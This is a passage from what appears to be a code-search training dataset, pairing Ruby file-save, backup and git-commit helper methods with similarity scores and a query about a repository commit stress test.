"def xRestoreDump()\n puts \"Back up commencing...\"\n Dir.chdir('/Users/jeydurai')\n system('start_mongorestore.bat')\n end",
"def save_stage_one\n\tunless File.exists? @builddir + \"/stage01.tar.xz\"\n\t\t### Dir.chdir(@builddir + \"/stage01\")\n\t\t# system \"tar -C \" + @builddir + \"/stage01 -cvjf \" + @builddir + \"/stage01/chroot.tbz chroot\"\n\t\t# system \"mysqldump --add-drop-table --password='\" + @dbpass + \"' -u '\" + @dbuser + \"' '\" + @dbname + \"' > chroot.sql \"\n\t\t# system \"bzip2 -c \" + @builddir + \"/lesslinux.sqlite > \" + @builddir + \"/stage01/chroot.sqlite.bz2\"\n\t\tsystem \"tar -C \" + @builddir + \"/ -cvJf \" + @builddir + \"/stage01.tar.xz stage01/chroot lesslinux.sqlite\"\n\tend\nend",
"def set_path\n self.path = File.join(self.store_dir, self.filename)\n end",
"def store_dir\n nil\n end",
"def restore\n end",
"def save_game\n Dir.mkdir(\"../saves\") unless Dir.exists?(\"../saves\")\n @@save_count += 1\n binding.pry\n log_saves\n savefile = \"../saves/save_#{@@save_count}.yml\"\n File.open(savefile, 'w') do | file |\n file.write(self.to_yaml)\n end\n end",
"def store_dir\n File.expand_path(self.relative_store_dir, @options[:root_dir])\n end",
"def store_dir\n File.join Rails.root, root_dir, model_dir, partition_dir\n end",
"def workdir\n result = base.join('cache')\n result.mkpath\n result\n end",
"def save_path\n @save_path ||= self.class.image_save_path.dup\n end",
"def store_dir\n \"city-of-meridian/files/\"\n end",
"def restore; end",
"def save\n if any?\n FileUtils.mkdir_p basedir if !Dir.exist? basedir\n backup if @backup\n\n # I do this the long way because I want an immediate sync.\n f = open(@file, 'w')\n f.write YAML::dump self\n f.sync\n f.close\n\n set_mode if @mode\n end\n true\n end",
"def save_file\r\n @saved = true\r\n saving\r\n Dir.mkdir(\"saves\") unless Dir.exists? \"saves\"\r\n File.open(\"my_save.yaml\", \"w\") {|f| f.puts YAML::dump(self) }\r\n end",
"def save\n if !Dir.exists? @config_directory\n FileUtils.mkdir_p @config_directory\n end\n\n open(@file, 'w').write @main.to_yaml\n end",
"def store_dir\n Rails.root.join('data', model.data_dir, model.id.to_s)\n end",
"def backup_config_file\n File.join(source_directory,'installer','rails_installer_defaults.yml')\n end",
"def write_curdir\n f = File.expand_path('~/.fff_d')\n s = Dir.pwd\n File.open(f, 'w') do |f2|\n f2.puts s\n end\n # puts \"Written #{s} to #{f}\"\nend",
"def dump\n FileUtils.rm_rf(backup_builds_dir)\n # Ensure the parent dir of backup_builds_dir exists\n FileUtils.mkdir_p(Gitlab.config.backup.path)\n # Fail if somebody raced to create backup_builds_dir before us\n FileUtils.mkdir(backup_builds_dir, mode: 0700)\n FileUtils.cp_r(app_builds_dir, backup_dir)\n end",
"def store_dir\n File.join STORE_DIR, \"#{model.id}\"\n end",
"def bootstrap\n puts \"Creating folder for project at #{folder}\"\n mkdir_p folder\n default_attributes\n save\n end",
"def store_dir\n path = \"cliente/#{model.id}/logomarca\"\n\n # if Rails.env.development?\n # path = \"development/#{path}\"\n # end\n\n path\n end",
"def save_stored_data(dir)\n return unless exist?\n file = File.join(dir, \"#{name}.#{Gem::Version.new(ole.Version)}.cfe\")\n ole.GetData.Write(real_win_path(file))\n file\n end",
"def make_save_contents\n\t\t\tcontents = local_make_save_contents\n\t\t\tcontents[:self_vars] = $game_selfVars\n\t\t\tcontents\n\t\tend",
"def store(dir,resume)\n if File.exists?(dir)\n rm(Dir.glob(\"#{dir}/*.yaml\"))\n else\n mkdir(dir)\n end\n File.open(\"#{dir}/resume.yaml\",'w') { |out| YAML::dump(resume.core,out) }\n dump(dir,\"experience\",resume.experience)\n dump(dir,\"education\",resume.education)\n dump(dir,\"reference\",resume.references)\n dump(dir,\"samples\",resume.samples)\n File.open(\"#{dir}/skills.yaml\",'w') { |out| YAML::dump(resume.skills,out) }\n end",
"def where_to_save\n output_dir = @template_options[OUTPUT_DIR]\n # assume absolute\n full_path = output_dir\n if (Pathname.new(output_dir)).relative?\n full_path = File.expand_path(output_dir, Dir.pwd)\n end\n return full_path\n end",
"def restore_archive\n end",
"def save_stop\n self.play_start = nil\n self.paused = false\n self.seconds_offset = 0.0\n ARUtils.save_cmdline(self)\n end",
"def makePath\n\t\t\tbuildMgr.effective(filename).dirname.mkpath\n\t\tend",
"def dump_directory\n @relative_location.end_with?('/') ? @relative_location + DUMP_DIRECTORY_NAME : @relative_location + '/' + DUMP_DIRECTORY_NAME\n end",
"def store_dir\n \"#{ENV['RAILS_ENV']}/#{model.id}\"\n end",
"def pristine_dir\n File.join pristine_dir_parent, name\n end",
"def mark_as_restored\n @restored = true\n end",
"def save_game\n\t\tDir.mkdir('saved_games') unless Dir.exist? 'saved_games'\n\t\tDir.chdir(\"saved_games\")\n\t\tdata = save\n\t\tFile.open(\"save.yaml\", \"w\") do |file|\n\t\t\tsaved_games = YAML::dump(data)\n\t\t\tfile.write(saved_games)\n\t\tend\n\t\tputs \"Games Saved!!\"\n\t\tabort\n\tend",
"def reset_default\n \n w=WinReg.new(@file)\n w.debug=@debug\n FOLDER_DEFAULTS.each do |key|\n w.write_key(FOLDERS_BASE+'\\\\'+key[:name],PROFILE_BASE+'\\\\'+key[:dir])\n end\n end",
"def store_dir\n #\"documentos/#{model.document_album.escuela_transporte.razonSocial.gsub(\" \",\"_\").mb_chars.normalize(:kd).gsub(/[^x00-\\x7F]/n, '').to_s.upcase.gsub(/[^a-zA-Z0-9_-]/,\"\")}/#{model.document_album.nombre.upcase}/#{model.nombre}\"\n model.document_path\n end",
"def local_backup_path\n local_path\n end",
"def save(path = self.path)\n Ops.atomic_write(path) do |io|\n marshalled_package_sets = each_package_set.map do |v|\n Hash['package_set' => v.name,\n 'vcs' => v.vcs.to_hash,\n 'raw_local_dir' => v.raw_local_dir,\n 'user_local_dir' => v.user_local_dir]\n end\n marshalled_packages = each_package.map do |package_def|\n v = package_def.autobuild\n Hash['name' => v.name,\n 'type' => v.class.name,\n 'vcs' => package_def.vcs.to_hash,\n 'srcdir' => v.srcdir,\n 'importdir' => (v.importdir if v.respond_to?(:importdir)),\n 'builddir' => (v.builddir if v.respond_to?(:builddir)),\n 'logdir' => v.logdir,\n 'prefix' => v.prefix,\n 'dependencies' => v.dependencies]\n end\n io.write YAML.dump(marshalled_package_sets + marshalled_packages)\n end\n end",
"def save(dir)\n # Ruta dataset\n dataset_path = \"#{dir}/#{@name}/%s_#{@memory}\"\n\n # Rutas de archivos para el dataset\n sample_file = dataset_path % 'sample'\n summary_file = dataset_path % 'summary'\n count_file = dataset_path % 'count'\n\n # Se prepara el directorio que contendrá resultados, a no ser que exista\n unless File.exists?(\"\")\n status \"Creating directory #{dir}/#{@name}\", \"mkdir -p #{dir}/#{@name}\"\n end\n\n save_sample sample_file \n save_summary summary_file\n save_count count_file\n end",
"def make_old(mode=:rm) #mode=:rm or :save\n ## After introduction of dyntask, the default is to save the old file if existing\n if File.exist? @filename\n case mode\n when :save\n FileUtils.mkdir_p(File.join(File.dirname(@filename),\".save\"))\n FileUtils.mv(@filename,@filename_old=File.join(File.dirname(@filename),\".save\",File.basename(@filename)))\n when :rm\n FileUtils.rm(@filename)\n end\n end\n end",
"def work_dir; end",
"def save_log_dir(log_dir, results_dir)\n end",
"def save_to(path); end",
"def store_dir\n %(#{Rails.root}/storage/#{model.parent.class.name.pluralize.downcase}/#{model.parent.id})\n end",
"def to_dir\n @dst_dir\n end",
"def pre_configure\n super\n @path ||= \"#{ENV['HOME']}/backups\"\n end",
"def undo()\r\n Dir.delete(@DirectoryPath)\r\n end",
"def save\n return false if options[:dirty] && options[:dirty] != true\n\n FileUtils.mkdir_p basedir if !Dir.exist? basedir\n\n # I do this the long way because I want an immediate sync.\n f = open(options[:file], 'w')\n\n # make a plan hash, save that instead of the class.\n f.write(YAML::dump({}.merge(self)))\n f.sync\n f.close\n\n backup if options[:backup]\n set_mode if options[:mode]\n options[:dirty] = false\n return true\n end",
"def autosave; end",
"def store_dir\n\t\t\"magic_beans/upload/tmp/#{model.id}\"\n\tend",
"def save\n dump = Marshal.dump(self)\n file = File.new(FILENAME, 'w')\n file = Zlib::GzipWriter.new(file)\n file.write(dump)\n file.close\n puts \"Bot state saved.\"\n end",
"def save\n if file\n # Ensure the current store has been loaded before we try to re-write it, this\n # is necessary if the program generator has crashed before creating a test\n store\n p = Pathname.new(file)\n FileUtils.mkdir_p(p.dirname)\n File.open(p, 'w') { |f| f.puts JSON.pretty_generate(store) }\n end\n end",
"def build_store_path\n prefix = ENV['RST_DATA'] || RST::STOREPATH\n env = ENV['RST_ENV'] || 'development'\n _dir = File.join( prefix, env )\n FileUtils.mkdir_p(_dir)\n File.join(_dir, filename)\n end",
"def save_game\n file_name = input_save_name\n begin\n Dir.mkdir('saves') unless Dir.exist?('saves')\n save_file = File.new(file_name, 'w')\n save_file.puts generate_save\n save_file.close\n puts 'Game saved!'\n rescue IOError\n puts 'Save failed'\n end\n end",
"def bootstrap\n return if File.exist?(file)\n save\n end",
"def local_backup_path\n [local_directory, Confluence.filename].join('/')\n end",
"def make_backup\n @backup = editor.create_snapshot\n end",
"def create_backup_path\n if File.exist?(@new_path)\n if !File.directory?(@new_path)\n #TODO: error properly\n abort\n end\n else\n FileUtils.mkdir_p @new_path\n end\n end",
"def prepare_working_dir\n FileUtils.mkdir_p @working_dir unless File.directory?(@working_dir)\n FileUtils.rm_rf Dir[\"#{@working_dir}/*\"] if @force_rebuild\n end",
"def store_dir\n File.join(OpenInvoice.config.dir_prefix,\n model.class.to_s.underscore,\n mounted_as.to_s,\n model&.id.to_s)\n end",
"def store_dir\n \"sites/#{model.site_id}/#{model.class.to_s.pluralize.underscore}/#{model.id}\"\n end",
"def dump_directory\n File.join(@relative_to_base, DUMP_DIRECTORY_NAME)\n end",
"def initial_path_setup\n repo_name = @repo.repo_name.gsub(/[.]+/, '-') || @repo.repo_name\n repo_path = Rails.root.join('storage', 'repos', @repo.username, @repo.supplier_project_id.to_s, repo_name)\n FileUtils.mkdir_p(repo_path) unless File.directory?(repo_path)\n Dir.chdir(repo_path)\n ActiveRecord::Base.connection_pool.with_connection do \n @repo.update(clone_path: repo_path)\n end\n end",
"def reset!\n @base_dir = @path = nil\n end",
"def teardown\n Dir.chdir @previous_wd # restore the working directory to what it was previously\n end",
"def save_configuration_files(server)\n puts \"Saving config files\"\n probe(server, 'mkdir -p /root/start_stop_backup')\n probe(server, 'cp /etc/postfix/main.cf /root/start_stop_backup/.')\n probe(server, 'cp /etc/syslog-ng/syslog-ng.conf /root/start_stop_backup/.')\n end",
"def destination\n File.join(cwd, 'Applications')\nend",
"def save\n path = UPLOADS_DIR.join(archive.original_filename)\n File.open(path, 'w') do |file| \n file.write(archive.read)\n end\n if backend = Instance.backend\n backend.deploy path\n end\n end",
"def save_env; end",
"def store_dir\n \"#{base_store_dir}/#{model.id}\"\n end",
"def store_dir\n \"#{base_store_dir}/#{model.id}\"\n end",
"def regenerate_path!\n regenerate_path\n save\n end",
"def store_dir\n \"uploads/screenshots/2014/04/#{model.id}\"\n end",
"def bootstrap_folder\n FileUtils.mkdir_p folder_path\n end",
"def store!\n unlink! @original_path\n return nil unless @tempfile_path\n\n new_path = path\n FileUtils.mkdir_p File.dirname(new_path)\n result = if @tempfile_path =~ /\\/te?mp\\//\n FileUtils.move @tempfile_path, new_path\n else\n FileUtils.copy @tempfile_path, new_path\n end\n File.chmod 0644, new_path\n reset\n result\n end",
"def store_dir\n consecutivo = \"#{model.consecutivo}\"\n if consecutivo.nil?\n consecutivo = Design.all.count.to_s\n end\n print \"\\nmodel.preid\\n\"\n print model.id\n print \"\\nmodel.id\\n\"\n print consecutivo+\"gdgdfgfd\\n\"\n print \"uiiuiuiuploads/#{model.class.to_s.underscore}/\"+consecutivo+\"/#{mounted_as}\"\n \"uploads/#{model.class.to_s.underscore}/\"+consecutivo+\"/#{mounted_as}\"\n end",
"def save_state\n # start will al state to be saved\n state_to_save = { 'startup_tags' => startup_tags,\n 'reboot' => reboot?,\n 'log_level' => log_level }\n\n # only save a log file one is defined\n if log_file\n state_to_save['log_file'] = log_file\n end\n\n # only save persist the fact we downloaded cookbooks if we are in dev mode\n if download_once?\n state_to_save['has_downloaded_cookbooks'] = has_downloaded_cookbooks?\n end\n\n RightScale::JsonUtilities::write_json(RightScale::CookState::STATE_FILE, state_to_save)\n true\n end",
"def save_configuration_files(server)\n puts \"Saving config files\"\n object_behavior(server, :spot_check_command, 'mkdir -p /root/start_stop_backup')\n object_behavior(server, :spot_check_command, 'cp /etc/postfix/main.cf /root/start_stop_backup/.')\n object_behavior(server, :spot_check_command, 'cp /etc/syslog-ng/syslog-ng.conf /root/start_stop_backup/.')\n end",
"def save_file\n FileUtils.mkdir_p(File.dirname(full_filename))\n FileUtils.cp(temp_path, full_filename)\n FileUtils.chmod(0644, full_filename)\n end",
"def setup\n switch_dir\n end",
"def save_path_with_own_path\n File.join(save_path, path)\n end",
"def move_to_storage\n process_emulation 5\n clear_progress_bar\n self.finished_at = Time.now.utc\n save! && ready!\n end",
"def restore\n RESTORE\n end",
"def redo_path\n self.path = @temp_path\n end",
"def save(dir = \".\")\n File.open(File.join(dir, \"#{name}.yaml\"), 'w') do |f|\n f.print YAML.dump(self)\n end\n end",
"def save\n unless File.exist?(config_dir)\n FileUtils.mkdir_p(config_dir, :mode => 0700)\n end\n\n tmpfile = File.join(config_dir, \"tmpconfig_#{rand 999999}\")\n File.open(tmpfile, \"w\") do |f|\n YAML.dump(conf, f )\n end\n\n FileUtils.mv(tmpfile, config_file)\n end",
"def persistent_to_quicksave\n p_file = File.open(File.join([self.path, 'persistent.sfs']), 'r'){|f| f.readlines}\n File.open(File.join([self.path, 'quicksave.sfs']), 'w'){|f| f.write(p_file.join)}\n end",
"def setup_path\n if [email protected]_path.nil? and [email protected]_path.empty?\n Dir.chdir(@repo.clone_path)\n else\n initial_path_setup\n end\n end",
"def original_dir\n application.original_dir\n end",
"def original_dir\n application.original_dir\n end",
"def original_dir\n application.original_dir\n end"
] | [
"0.73709327",
"0.6975106",
"0.6931209",
"0.67534524",
"0.6330191",
"0.6302857",
"0.6211243",
"0.6160911",
"0.61545146",
"0.61399084",
"0.6133731",
"0.6117519",
"0.61160827",
"0.6047587",
"0.59887433",
"0.5974938",
"0.5931674",
"0.5891448",
"0.5883241",
"0.5824956",
"0.58030504",
"0.5801451",
"0.5759254",
"0.5758536",
"0.5744915",
"0.5734794",
"0.5725776",
"0.5708806",
"0.568255",
"0.56466717",
"0.56411684",
"0.5636214",
"0.5635722",
"0.56342566",
"0.5623975",
"0.5622104",
"0.5601982",
"0.55866134",
"0.55657053",
"0.5563291",
"0.55526555",
"0.5551663",
"0.5551403",
"0.55241066",
"0.5522192",
"0.55173343",
"0.5515051",
"0.55114025",
"0.5510199",
"0.55049384",
"0.54976666",
"0.54940075",
"0.54897046",
"0.5487562",
"0.5484975",
"0.54825854",
"0.5481098",
"0.5478985",
"0.5478781",
"0.54749805",
"0.54729384",
"0.54592204",
"0.5458256",
"0.54510677",
"0.54432756",
"0.54425186",
"0.54407793",
"0.5423029",
"0.5420812",
"0.5411969",
"0.54118615",
"0.5411622",
"0.5408114",
"0.5407736",
"0.5395893",
"0.5393504",
"0.5386981",
"0.53869087",
"0.53847355",
"0.538204",
"0.538204",
"0.5380067",
"0.5376908",
"0.53746736",
"0.53733367",
"0.53660625",
"0.53618854",
"0.5360472",
"0.5360231",
"0.5359005",
"0.53554964",
"0.535504",
"0.5354969",
"0.5354911",
"0.5353031",
"0.53485465",
"0.53451276",
"0.534149",
"0.53397393",
"0.53397393",
"0.53397393"
] | 0.0 | -1 |
This test add one file at a time and then commit for 101 times | def test_commit_stress_1
Repository.create()
# should be 1000, since we wrote 1000 in our acceptance test
(0..10).each do |e|
filename = '.test_file' + e.to_s
FileUtils.touch(filename)
a = [filename]
Repository.add(a)
Repository.commit()
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_add100\n\n # make new file and fill with data\n\t\tfill_file(100)\n\t\t \t\n \tfb=Fastabin.new(TEST_FILE,'r') \t \t\n assert_equal(100,fb.count)\n fb.close\n \t\t\n end",
"def git_add_all_files\n files = `git ls-files`.split(\"\\n\").collect {|f| \"'#{f}'\"}\n index = 0\n while index < files.size\n block_size = 100\n to_process = files[index, block_size]\n index += block_size\n mysystem(\"git add --all --force #{to_process.join(' ')} 2> /dev/null > /dev/null\")\n end\n end",
"def test_add_existing_file\n @gitit.add('hello.txt', 'Hello, dsyph3r')\n @gitit.commit('modifying hello world')\n\n file = @gitit.get_file('hello.txt')\n\n assert_not_nil(file)\n\n assert_equal('Hello, dsyph3r', file['data'], 'File data is incorrect')\n end",
"def git_add(file, msg)\r\n `git add #{file} && git commit -m \\\"#{msg}\\\"`\r\nend",
"def stage_files(*files)\n command = \"git add --all #{files.join(' ')}\"\n command_success?(command)\n end",
"def db_add_pull_request_files(db, client, issues, org, repo)\n issues.each do |item|\n if(item.pull_request)\n begin\n files=client.pull_request_files(\"#{org}/#{repo}\", item.number.to_i)\n files.each do |file|\n if(db_pull_request_file_stored?(db, item.id, file.filename))\n db[\"DELETE FROM pull_request_files WHERE pull_request_id=? AND filename=?\", item.id.to_s, file.filename].delete\n end\n db[\n \"INSERT INTO pull_request_files (pull_request_id, filename, additions, deletions, changes, status)\n VALUES (?, ?, ?, ?, ?, ?)\",\n item.id, file.filename, file.additions, file.deletions, file.changes, file.status].insert\n end\n rescue Octokit::InternalServerError\n # 500 - Server Error: Sorry, there was a problem generating this diff. The repository may be missing relevant data. (Octokit::InternalServerError)\n # Skipping\n end\n end\n end\n end",
"def test_version_message\n Repository.create()\n FileUtils.touch('.test_file1')\n a = ['.test_file1']\n Repository.add(a) \n Repository.commit()\n #Repository.version()\n end",
"def upload_files\n # Get list of files do be added\n number_of_files = 0\n paths = []\n Find.find(START_DIR) do |path|\n if FileTest.directory?(path)\n next\n else\n paths.push(path)\n number_of_files += 1\n end\n end\n\n puts \"Uploading #{number_of_files} files.\"\n paths.each do |path|\n upload path\n end #do\n puts \"#{number_of_files} files uploaded.\"\nend",
"def testing_begin(files)\n end",
"def push_files(files, commit_msg, prefix)\n ui.info(\"Applying your repository changes\")\n commit_prefix = \"#{prefix}:\"\n first_add = true\n files.each do |file|\n file_path = File.expand_path(file)\n if prefix == \"db\"\n file_name = file_path.split('/').last(3).join('/')\n else\n file_name = file_path.split('/').last(2).join('/')\n end\n Dir.chdir(Chef::Config[:git_repo]) do\n if(!first_add)\n commit_prefix += \",\"\n end\n first_add = false\n commit_prefix += file_name.split('/').last\n ui.info(\"- #{file_name}\")\n git.add(\"#{file_name}\")\n end\n end\n Dir.chdir(Chef::Config[:git_repo]) do\n push(commit_prefix, commit_msg)\n end\n end",
"def addUnchangedFilesToCommit(prev_commit, commit, changed_files) #:doc:\n# sql = \"select devfiles.path, devfiles.name, devfiles.blob_id from devfiles, blobs, blobs_in_commits where blobs.devfile_id=devfiles.id and blobs_in_commits.blob_id=blobs.id and blobs_in_commits.commit_id=#{prev_commit.id};\"\n# devfiles_of_prev_commit = ActiveRecord::Base.connection.execute(sql)\n#\n devfiles_of_prev_commit = Devfile.find_by_sql(\"select devfiles.path, devfiles.name, devfiles.blob_id from devfiles, blobs, blobs_in_commits where blobs.devfile_id=devfiles.id and blobs_in_commits.blob_id=blobs.id and blobs_in_commits.commit_id=#{prev_commit.id};\")\n if devfiles_of_prev_commit.size > 0\n ActiveRecord::Base.connection.execute(\"begin\")\n now = DateTime.now\n devfiles_of_prev_commit.each do |df|\n if not changed_files.has_key?(df.path + df.name)\n begin\n sql = \"insert into blobs_in_commits(blob_id, commit_id, created_at, updated_at) values('#{df['blob_id']}', '#{commit.id}', '#{now}', '#{now}');\"\n ActiveRecord::Base.connection.execute(sql)\n rescue\n # do nothing\n end\n end\n end\n ActiveRecord::Base.connection.execute(\"commit\")\n end\n end",
"def add_files(*files)\n files = files.flatten\n unless files.empty?\n @perforce.run(\"edit\", \"-c\", @number, *files)\n @perforce.run(\"add\", \"-c\", @number, *files)\n end\n end",
"def git_add_all\n index.add_all\n index.write\n end",
"def test_insert_file\n job1 = @fq.insert_file(@tmp_name1)\n assert(job1, 'invalid job1: false : ' + @fq.read_log)\n\n assert_equal({:que => 1}, @fq.all_lengths)\n\n assert_equal(1, @fq.length)\n end",
"def test_reuse_existing_chunks_when_append\n CheckFile @writer, @ioservice, @adlers, 'test content', ['test ', 'conte', 'nt']\n CheckFile @writer, @ioservice, @adlers, 'test content updated', ['test ', 'conte', 'nt', ' upda', 'ted']\n end",
"def upload_random_num_files(app, min: 1, max: 5)\n\n random_num_files = Random.rand(min..max)\n\n if app.uploaded_files.count < random_num_files\n\n (random_num_files - app.uploaded_files.count).times do | i |\n\n file_txt = File.open(File.join(FIXTURE_DIR, \"uploaded-#{i}.txt\"), 'w') do |f|\n f.puts \"This is a dummy file created to stand in for a file a user has uploaded with their SHF membership application.\"\n f.puts \"It was created by #{self.class.name}::#{__method__} [#{__FILE__} line #{__LINE__}]\"\n f.puts \"\\nThis can be added to git so that it is another 'uploaded file' that the mail preview and other spec tests can use.\"\n f.puts \"Or you can safely delete this file. (It will be recreated as needed by spec/mailers/previews/pick_random_helpers.rb )\"\n end\n\n uploaded_file = UploadedFile.create(actual_file: file_txt, shf_application: app, actual_file_file_name: \"uploaded-#{i}.txt\")\n app.uploaded_files << uploaded_file\n end\n\n end\n\n end",
"def git_add_all\n index.add_all\n index.write\n end",
"def test_add_the_same_file_in_both_repos\n a.add(\"two\" => \"two content\").commit(\"a added two\")\n b.add(\"two\" => \"two content\").commit(\"b added two\")\n \n assert_equal \"two content\", a['two']\n assert_equal \"two content\", b['two']\n \n b.pull\n \n assert_equal \"two content\", a['two']\n assert_equal \"two content\", b['two']\n \n assert_log_equal [\n \"a added one\",\n \"a added two\", \n \"b added two\",\n \"gitgo merge of origin/gitgo into gitgo\"\n ], b\n end",
"def create_files_and_commit\n Dir.chdir(\"#{LOCAL_PATH}/#{@name}\") do\n File.open('.gitignore', 'w+') do |f|\n f.write(\".idea\\n/vendor\\n/node_modules\\n.Thumbs.db\\n.DS_Store\")\n end\n\n `git add . && git commit -m \"initial commit\"`\n end\n end",
"def test_store_file\n #emulate the saving of a file whose content is 'test content'\n @writer.save_file('test content')\n #we expect three chunks for\n expected_chunks = ['test ', 'conte', 'nt']\n expected_chunks_sha = expected_chunks.map{|s| ComputeSHADigest s}\n #A. Each of the chunk is named with the sha on its content\n expected_chunks_sha.each{|sha| assert( @ioservice.exists? :chunk, sha )}\n \n #B. The filename is retrieved from the sha of the whole string\n file_sha = ComputeSHADigest 'test content'\n assert( @ioservice.exists?(:file, file_sha), \"file not found: #{file_sha} in #{@ioservice.store[:file]}\" )\n #C. The file lists all its chunks\n @ioservice.read_elem(:file, file_sha) do |c|\n c.each_line.zip(expected_chunks_sha).each{ |l, sha| assert_equal(l.strip, sha) }\n end\n #D. the adlers directory should be filled with the adler32 code of each chunk\n CheckChunksInAdlerDirectory( @adlers, expected_chunks )\n end",
"def mktestfiles(testdir)\n @@tmpfiles << testdir\n assert_nothing_raised {\n files = %w{a b c d e}.collect { |l|\n name = File.join(testdir, \"file#{l}\")\n File.open(name, \"w\") { |f|\n f.puts rand(100)\n }\n\n name\n }\n\n return files\n }\n end",
"def addFile(filename, essence)\n \n \n \n begin\n \n\n filesize = essence.length\n filename.gsub!(/ /, '_')\n \n # if filesize is larger than about 5mb, increase git timeout\n if filesize > 5000000\n Grit::Git.git_timeout = 30\n # if filesize is larger than about 100mb, throw an exception\n if filesize > 100000000\n raise Exception.new(\"File is too large to handle with git\")\n end\n else\n Grit::Git.git_timeout = 10\n end\n \n # create dir if it does not exist\n if not (File.exists?(@dev_path) && File.directory?(@dev_path))\n FileUtils.mkdir_p(@dev_path) \n end\n \n \n if filename.size > 1\n path = filename[0..filename.rindex('/')]\n FileUtils.mkdir_p(@dev_path+path) \n end\n \n #puts \"name: #{filename}\"\n #puts \"path: #{path}\"\n \n \n path = File.join(@dev_path, filename)\n # write the file\n File.open(path, \"wb\") { |f| \n #puts f.to_s\n f.write(essence)\n \n }\n sleep(0.2)\n @repo.add(\"#{@dev_path}#{filename}\")\n puts \"File \" + filename + \" added to repo.\"\n rescue Exception => e\n puts \"Error: #{e.to_s}\"\n puts \" -- line: #{e.backtrace[0].to_s}\"\n raise Exception.new(\"Could not add a new file to virtual container!\")\n end\n return true\n end",
"def commit_modified_files_task\n really_modified = `#{git} ls-files -m #{modified_files.entries.join(' ')}`.split(\"\\n\")\n if really_modified.any?\n really_modified.each { |file| sh git, 'add', file }\n sh git, 'commit', '-m', \"Released #{gemspec.name} gem version #{gemspec.version}.\"\n end\n end",
"def grit_update\n grit_repo = Repo.new(self.aq_repository.path)\n new_commits_count = grit_repo.commit_count(self.name) - self.commits.count\n count = 0\n while (count < new_commits_count)\n commits = grit_repo.commits(self.name, 10, count)\n commits.each do |c|\n if not self.commits.find_by_sha(c.id)\n a_commit = AqCommit.new(:sha => c.id,\n :log => c.message,\n :author_name => c.author.name,\n :created_at => c.committed_date,\n :committed_time => c.committed_date,\n :repository => self.aq_repository)\n c.diffs.each do |diff|\n begin\n a_file = AqFile.find_by_path(diff.b_path, :conditions => [\"aq_branch_id = ?\", self.id])\n rescue\n a_file = nil\n end\n if !a_file\n a_file = AqFile.new(:name => diff.b_path.split(\"/\").last, :path => diff.b_path)\n a_file.branch = self\n end\n self.files << a_file if !a_file.branch\n self.aq_repository.files << a_file if !a_file.repository\n a_commit.aq_files << a_file\n end\n a_commit.author = self.aq_repository.owner\n self.commits << a_commit\n self.save\n end\n end\n diff_c = new_commits_count - count\n if (diff_c > 10)\n count += 10\n else\n count += diff_c\n end\n end\n if self.aq_repository.owner.nil?\n the_user = User.our_current_user.login || \"error: cant get user login\"\n else\n the_user = self.aq_repository.owner.login\n end\n aq_logger(Settings.logs.scm, \"User #{the_user}, Branch : #{self.name}, #{count} commits treated.\")\n end",
"def save\n self.id = (10 + Random.rand(99))\n FileOperations.add(self)\n puts 'Successfully Added'\n end",
"def test_files\n `touch ../harness/test/foo ../harness/test/bar`\n f = @td.files\n assert_equal(2, f.length)\n assert(f.find \"foo\")\n assert(f.find \"bar\")\n end",
"def stage_and_commit_file(repo_base_path, relpath_to_file, commit_message = nil)\n commit_message = \"Updated #{relpath_to_file} via website\" unless !commit_message.blank?\n gitRepo = Repo.new(repo_base_path)\n olddir = Dir.pwd\n Dir.chdir(repo_base_path)\n gitRepo.add(relpath_to_file)\n gitRepo.commit_index(commit_message)\n Dir.chdir(olddir)\n end",
"def start\n #Parallel.each_with_index(files.take(3), in_processes: 10) do |file_name, index|\n files.each_with_index do |file_name, index|\n begin\n content = JSON.parse(File.read(file_name), symbolize_names: true)\n pr_number_to_be_migrated = content[:number]\n response_temp_file_creation = create_temp_file(file_name, pr_number_to_be_migrated)\n create_ref_to_temp_file(pr_number_to_be_migrated, response_temp_file_creation[:commit][:sha])\n response_pull_request_creation = create_pull_request(pr_number_to_be_migrated)\n update_pull_request(response_pull_request_creation[:number], content)\n delete_ref_to_temp_file(pr_number_to_be_migrated)\n puts '*'\n rescue Exception => e\n puts \"Error: #{e.message}\"\n end\n end\n end",
"def create_commit_filepath(filepaths, commit_hash)\n filepaths.each do |str_path, churn|\n @con.exec_prepared('fileInsert', [commit_hash,str_path, churn])\n end\n end",
"def save_file_batch(files, new_obj_id)\n url = \"#{@base_url}/api/v2/files/#{new_obj_id}/create_batch\"\n resp = api_post_json(url, files.to_json)\n if resp.code != '201'\n @log.write(\"Error saving #{files.count} files #{files[0]['identifier']}...\\n\")\n @log.write(files.inspect)\n @log.write(\"\\n\" + resp.body + \"\\n\")\n #exit(1)\n end\n end",
"def add_specs_to_repo\n UI.puts \"\\nAdding the #{'spec'.pluralize(count)} to the `#{@repo}' repo\\n\".yellow\n podspec_files.each do |spec_file|\n spec = Pod::Specification.from_file(spec_file)\n output_path = @source.pod_path(spec.name) + spec.version.to_s\n message = if @message && [email protected]?\n @message\n elsif output_path.exist?\n \"[Fix] #{spec}\"\n elsif output_path.dirname.directory?\n \"[Update] #{spec}\"\n else\n \"[Add] #{spec}\"\n end\n\n if output_path.exist? && !@allow_overwrite\n raise Informative, \"#{spec} already exists and overwriting has been disabled.\"\n end\n\n FileUtils.mkdir_p(output_path)\n\n if @use_json\n json_file_name = \"#{spec.name}.podspec.json\"\n json_file = File.join(output_path, json_file_name)\n File.open(json_file, 'w') { |file| file.write(spec.to_pretty_json) }\n else\n FileUtils.cp(spec_file, output_path)\n end\n\n # only commit if modified\n if repo_git('status', '--porcelain').include?(spec.name)\n UI.puts \" - #{message}\"\n repo_git('add', spec.name)\n repo_git('commit', '--no-verify', '-m', message)\n else\n UI.puts \" - [No change] #{spec}\"\n end\n end\n end",
"def add_files(file_path__content_array, opts = {})\n if any_changes = RepoManager.add_files(@repo_manger_context, file_path__content_array, no_commit: opts[:no_commit], commit_msg: opts[:commit_msg])\n RepoManager.push_changes(@repo_manger_context) unless opts[:donot_push_changes]\n end\n any_changes\n end",
"def addFiles(branch, files)\n zombie_check\n on_worktree(branch) do |repo|\n repo.checkout_file(@repo.current_branch, files)\n repo.add(files)\n end\n end",
